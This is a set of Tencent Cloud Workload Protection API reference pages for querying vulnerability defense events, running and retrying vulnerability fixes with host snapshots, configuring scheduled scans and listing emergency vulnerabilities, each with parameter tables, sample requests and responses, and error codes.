Last updated：2024-12-06 15:39:12

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain vulnerability defense event details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeDefenceEventDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Vulnerability Event ID

3. Output Parameters

Parameter Name	Type	Description
Data	VulDefenceEventDetail	Vulnerability event details

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Vulnerability Defense Event Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeDefenceEventDetail
<Common request parameters>

{
"Id": 123
}
```

Output Example

```
{
"Response": {
"Data": {
"City": "Shenzhen",
"StackTrace": "xx",
"Fix": "Fixing description",
"NetworkPayload": "xx",
"Id": 0,
"SourceIp": "xx",
"Status": 0,
"Description": "xx",
"EventType": 1,
"ExceptionPstree": "xx",
"MergeTime": "xx",
"Count": 0,
"MachineStatus": "ONLINE",
"VulName": "xx",
"Alias": "xx",
"MainClass": "xx.class",
"CveId": "xx",
"Pid": 0,
```

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```
"PrivateIp": "xx",
"PublicIp": "xx",
"Quuid": "xx",
"EventDetail": "xx",
"SourcePort": [
1
],
"CreateTime": "xx"
},
"RequestId": "xx"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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CreateVulFix

Last updated：2024-12-06 15:39:13

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to submit the vulnerabilities and fix them.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateVulFix.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
CreateVulFixTaskQuuids.N	Yes	Array of CreateVulFixTaskQuuids	List of hosts for which the vulnerability should be fixed
SaveDays	Yes	Integer	Snapshot retention days: 0 days indicates that no snapshot will be created. Hosts without a snapshot for 24 hours must have a snapshot created to be restored.
SnapshotName	No	String	Snapshot name

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3. Output Parameters

Parameter Name	Type	Description
FixId	Integer	Task ID
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Fixing Vulnerabilities

This example shows you how to fix vulnerabilities.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateVulFix
<Common request parameters>

{
"CreateVulFixTaskQuuids": [
{
"Quuids": [
"xx"
],
"VulId": 1
}
],
"SnapshotName": "xx",
"SaveDays": 1
}
```

Output Example

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```
{
"Response": {
"RequestId": "f14ce73f-50d7-4c36-af1d-fc33dae510c4",
"FixId": 1
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
UnauthorizedOperation	Unauthorized operation.
UnsupportedOperation	The operation is not supported.

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DescribeCanFixVulMachine

Last updated：2024-12-06 15:39:12

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the fixable host information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeCanFixVulMachine.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
VulIds.N	Yes	Array of Integer	Vulnerability IDs
Quuids.N	No	Array of String	Hosts requiring fixing. This parameter has an AND relationship with VulIds.

3. Output Parameters

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Parameter Name	Type	Description
VulInfo	Array of CanFixVulInfo	Host vulnerability fixing information list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Fixable Host Information

This example shows you how to query the fixable host information.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeCanFixVulMachine
<Common request parameters>

{
"VulIds": [
1
],
"Quuids": [
"xx"
]
}
```

Output Example

```
{
"Response": {
"RequestId": "48ca3c70-801e-48b1-80a7-1007afbf5ffb",
"VulInfo": []
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
UnauthorizedOperation	Unauthorized operation.

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DescribeMachineSnapshot

Last updated：2024-12-06 15:39:10

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query snapshots created by the host.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineSnapshot.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuids.N	Yes	Array of String	CVM ID collection
Type	Yes	Integer	Inquiry snapshot type: 0 - latest one; 1 - all
Limit	Yes	Integer	Number of Pagination
Offset	Yes	Integer	Pagination step size

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3. Output Parameters

Parameter Name	Type	Description
List	Array of MachineSnapshotInfo	List of host snapshot
TotalCount	Integer	Total number
SnapshotCheck	Boolean	Whether snapshots created in the last 24 hours exist
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Fixing Vulnerability - Querying Snapshots Created by a Host

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeMachineSnapshot
&Limit=10
&Offset=0
&Quuids.0=djskldjksld
&Type=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"List": [
{
"CreateTime": "2021-04-06 17:25:57",
"DiskId": "disk-fc19gd5w",
"HostIp": "10.104.9.143",
"HostName": "win_poc testing (129.204.117.208)",
"InstanceId": "ins-lamp8810",
"Quuid": "b9b4f569-22fc-4a90-8d7f-c9e45349cd5b",
"RegionId": 1,
```

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```
"SnapshotId": "snap-fav9fuhd",
"SnapshotName": "Fixing vulnerability - OpenSSL DoS vulnerability"
}
],
"RequestId": "67060fe1-d34e-468f-8f22-d00105304496",
"TotalCount": 1,
"SnapshotCheck": true
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.

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InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
UnauthorizedOperation	Unauthorized operation.

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DescribeVulDefenceList

Last updated：2025-03-11 22:59:49

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the vulnerability defense list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulDefenceList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filtering criteria: Level; Keywords
Offset	No	Integer	Data offset
Limit	No	Integer	Data limit
Order	No	String	Sorting method (case insensitive): asc for ascending order; desc for descending order
By	No	String	Sorting column (strictly equal): PublishTime for release time

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of data
List	Array of VulDefenceRangeDetail	Vulnerability defense list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the Vulnerability Defense List

This example shows you how to query the vulnerability defense list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulDefenceList
<common request parameters>

{
"By": "PublishTime",
"Limit": "20",
"Order": "desc",
"Filters": [
{
"Values": [
"CVE-2022-22963"
],
"Name": "Keywords",
"ExactMatch": "false"
}
],
```

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```
"Offset": "0"
}
```

Output Example


```
{
"Response": {
"List": [
{
"CveId": "CVE-2022-22963",
"CvssScore": 9.8,
"Label": "Remote exploit,EXP exists",
"Level": 4,
"PublishTime": "2022-03-25 00:00:00",
"VulId": 1,
"VulName": "Spring Cloud Function SpEL Expression Injection Vulnerability (CVE-20
22-22963)"
}
],
"RequestId": "5eb93566-d6c9-4a07-baba-dc8788f41f19",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeVulFixStatus

Last updated：2025-03-11 22:59:49

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to check the host vulnerability fixing progress.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulFixStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
FixId	No	Integer	Task ID. This parameter can be left blank if VulId is specified.
VulId	No	Integer	Vulnerability ID. This parameter can be left blank if FixId is specified.
Quuid	No	String	Host QUUID. This parameter can be used together with VulId to query the details of the last fixing task on a specific host.

3. Output Parameters

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Parameter Name	Type	Description
FixStartTime	String	Fixing start time Note: This field may return null, indicating that no valid values can be obtained.
FixEndTime	String	Fixing end time. If this parameter is left blank, fixing is not ended. Note: This field may return null, indicating that no valid values can be obtained.
FixSuccessCnt	Integer	Number of successfully fixed hosts Note: This field may return null, indicating that no valid values can be obtained.
FixFailCnt	Integer	Number of hosts failed to be fixed
HostCnt	Integer	Total number of hosts
FixId	Integer	Fixing task ID
SnapshotList	Array of VulFixStatusSnapshotInfo	Status list of snapshots to be fixed Note: This field may return null, indicating that no valid values can be obtained.
VulFixList	Array of VulFixStatusInfo	Details list of vulnerabilities to be fixed Note: This field may return null, indicating that no valid values can be obtained.
SnapshotProgress	Integer	Snapshot creation progress (0-100)
FixProgress	Integer	Fixing progress (0-100)
RemainingTime	Integer	Estimated remaining time (seconds)
IsRetrySnapshot	Integer	Whether the snapshot is retried. 0: no; 1: yes.
SnapshotFailCnt	Integer	Number of snapshots failed to be created Note: This field may return null, indicating that no valid values can be obtained.
IsAllowRetry	Integer	Whether retry is allowed. 0: not allowed; 1: allowed.Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the

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		server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Vulnerability Repair - Querying the Progress of Fixing Host Vulnerabilities

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeVulFixStatus
&FixId=1
&<Common request parameters>
```

Output Example


```
{
"Response": {
"FixEndTime": "2019-12-25 11:57:15",
"FixFailCnt": 1,
"FixId": 1,
"FixProgress": 1,
"FixStartTime": "2019-12-25 11:57:15",
"FixSuccessCnt": 1,
"HostCnt": 1,
"IsAllowRetry": 1,
"IsRetrySnapshot": 1,
"RemainingTime": 1,
"RequestId": "c741a4fd-776f-499b-85a2-7bc70fd5b92s",
"SnapshotFailCnt": 1,
"SnapshotList": [
{
"FailReason": "success",
"HostIp": "1.1.1.1",
"HostName": "Machine name",
"Id": 1,
"ModifyTime": "2019-12-25 11:57:15",
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"SnapshotId": "Snapshot ID",
"SnapshotName": "Snapshot name",
"Status": 1
}
],
"SnapshotProgress": 1,
"VulFixList": [
```


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```
{
"FailCnt": 1,
"FixSuccessCnt": 1,
"HostList": [
{
"FailReason": "Fixing succeeded",
"HostIp": "1.1.1.1",
"HostName": "Machine name",
"ModifyTime": "2019-12-25 11:57:15",
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"Status": 1
}
],
"Progress": 1,
"VulId": 1,
"VulName": "Vulnerability name"
}
]
}
}
```


5. Developer Resources

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
UnauthorizedOperation	Unauthorized operation.

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ExportVulDefenceList

Last updated：2024-12-06 15:38:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of vulnerability defenses.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportVulDefenceList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filtering criteria: Keywords: vulnerability name or CVE ID for fuzzy matching, and level for precise matching
Where.N	No	Array of String	Fields to be exported. All fields are to be exported by default.

3. Output Parameters

Parameter	Type	Description

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Name		
TaskId	String	Export file ID, which is downloadable via the ExportTasks API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportVulDefenceList
<Common request parameters>

{
"Where": [
""
],
"Filters": [
{
"Values": [
""
],
"Name": "",
"ExactMatch": "false"
}
]
}
```

Output Example

```
{
"Response": {
"RequestId": "d14c8764-de8d-4eda-89e9-3a4b4fb5d7c4",
"TaskId": "1730637975165420573"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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RetryCreateSnapshot

Last updated：2024-12-06 15:38:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to retry to create snapshots and automatically fix vulnerabilities when the creation fails.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: RetryCreateSnapshot.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
FixId	Yes	Integer	Fix task ID
Quuid	Yes	String	Host QUUID
Id	Yes	Integer	Unique ID of the snapshot returned by the task progress

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to re-create snapshots when snapshot creation fails while fixing the vulnerability.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=RetryCreateSnapshot
&FixId=1
&Quuid="xxxxxx"
&Id=12
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "f14ce73f-50d7-4c36-af1d-fc33dae510c4"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js

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- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceInUse	The resource is occupied.
ResourceInsufficient	Insufficient resources.
ResourceNotFound	The resource does not exist.

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RetryVulFix

Last updated：2024-12-06 15:38:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to fix vulnerabilities on a single host when the fix fails.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: RetryVulFix.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
FixId	Yes	Integer	Vulnerability ID
Quuid	Yes	String	Host QUUID
VulId	Yes	Integer	Vulnerability ID

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to retry to fix when the vulnerability fix fails.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: RetryVulFix
<Common request parameters>

{
"VulId": 1,
"Quuid": "xxxxx",
"FixId": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "f14ce73f-50d7-4c36-af1d-fc33dae510c4"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.
ResourceUnavailable	The resource is not available.
UnauthorizedOperation	Unauthorized operation.

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DescribeScanVulSetting

Last updated：2024-12-06 15:39:10

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the configuration for regular detection.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScanVulSetting.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
VulCategories	String	Vulnerability type: 1 - web-cms vulnerabilities; 2 - application vulnerabilities; 4 - Linux software vulnerabilities; 5 - Windows system vulnerabilities

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VulLevels	String	Severity level: 1 - low-risk; 2 - medium-risk; 3 - high-risk; 4 - critical (multiple selections are separated by English commas)
TimerInterval	Integer	Regular detection interval (days)
TimerTime	String	Regular detection time, such as 00:00
VulEmergency	Integer	Whether an emergency vulnerability: 0 - no; 1 - yes
StartTime	String	Start time
EnableScan	Integer	Whether enabled
EndTime	String	End time
ClickTimeout	Integer	One-click scan timeout duration, such as 1800 seconds
Uuids	Array of String	If empty, scan hosts with all Professional, Premium, and General Discount editions by default; if not empty, only scan the selected hosts.
ScanMethod	Integer	
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Information about Scheduled Detection Configuration

This example shows you how to use AppID to query the information about scheduled detection configuration.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScanVulSetting
&<Common request parameters>
```

Output Example

```
{
"Response": {
"ClickTimeout": 0,
"EnableScan": 0,
"EndTime": "23:50",
```

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```
"RequestId": "54111d3a-373d-4175-80dd-8d855b595647",
"ScanMethod": 0,
"StartTime": "00:40",
"TimerInterval": 1,
"TimerTime": "00:40",
"Uuids": [],
"VulCategories": "4;5;1;2",
"VulEmergency": 1,
"VulLevels": "1;2;3;4"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ScanVulSetting

Last updated：2024-12-06 15:38:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to complete regular vulnerability scan settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ScanVulSetting.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TimerInterval	Yes	Integer	Regular detection interval (days)
VulCategories.N	No	Array of Integer	Vulnerability type. 1: web CMS vulnerability; 2: application vulnerability; 4: Linux software vulnerability; 5: Windows system vulnerability. Pass in the values in array format. Example: [1,2]
VulLevels.N	No	Array of Integer	Severity level. 1: low-risk; 2: medium-risk; 3: high-risk; 4: critical. Pass in the values in array format. Example: [1,2,3]
TimerTime	No	String	Periodic detection time. Example: 02:10:50

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VulEmergency	No	Integer	Whether the vulnerability is an emergency vulnerability. 0: no; 1: yes.
StartTime	No	String	Scan start time. Example: 00:00
EndTime	No	String	Scan end time. Example: 08:00
EnableScan	No	Integer	Whether to enable scanning. 1: enable; 0: disable.
Uuids.N	No	Array of String	If empty, scan hosts with all Professional, Premium, and General Discount editions by default; if not empty, only scan the selected hosts.
ScanMethod	No	Integer	

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Regular Vulnerability Scan Settings

This example shows you the regular vulnerability scan settings.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ScanVulSetting
&VulCategories.0=1
&VulLevels.0=1
&TimerInterval=3
&TimerTime=02:10:50
&VulEmergency=1
&<Common request parameters>
```

Output Example

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```
{
"Response": {
"RequestId": "4234234"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeEmergencyVulList

Last updated：2025-03-11 22:59:50

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of emergency vulnerabilities.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeEmergencyVulList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Quantity of returns. The maximum value is 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filters	Filter criteria • Status - String - required: Yes - vulnerability status filter: 0: not detected; 1: at risk; 2: no risk; 3: show progress while detecting • Level - String - required: no - filter by vulnerability level: 1 - low; 2 - medium; 3 - high; 4 - prompt • VulName - String - required: no - vulnerability name search • Uuids- String - required: no - host uuid

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			• IsSupportDefense - int- required: no - whether to support defense: 0: no; 1: yes
Order	No	String	Sorting method: desc and asc
By	No	String	Sorting field PublishDate LastScanTime HostCount
HotspotAttack	No	Boolean	Whether hot spot vulnerabilities

3. Output Parameters

Parameter Name	Type	Description
List	Array of EmergencyVul	Vulnerability list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.
ExistsRisk	Boolean	Whether there is any risk Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Emergency Vulnerability List

This example shows you the emergency vulnerability list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeEmergencyVulList
<Common request parameters>

{
"Limit": "10",
```

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```
"Offset": "0"
}
```


Output Example


```
{
"Response": {
"ExistsRisk": true,
"List": [
{
"AttackLevel": 0,
"Category": 2,
"CveId": "CVE-2024-45507",
"CvssScore": 9.8,
"DefenseAttackCount": 0,
"DefenseState": false,
"HostCount": 0,
"IsSupportDefense": 0,
"Labels": "Remote use",
"LastScanTime": "2024-10-21 14:27:07",
"Level": 4,
"Method": 1,
"Progress": 0,
"PublishDate": "2024-09-04 00:00:00",
"Status": 2,
"VulId": 105374,
"VulName": "Remote code execution vulnerability for Apache OFBiz SSRF (CVE-2024-45507)"
}
],
"RequestId": "e5b4724c-49af-46ab-bd84-cdbae897e7e0",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

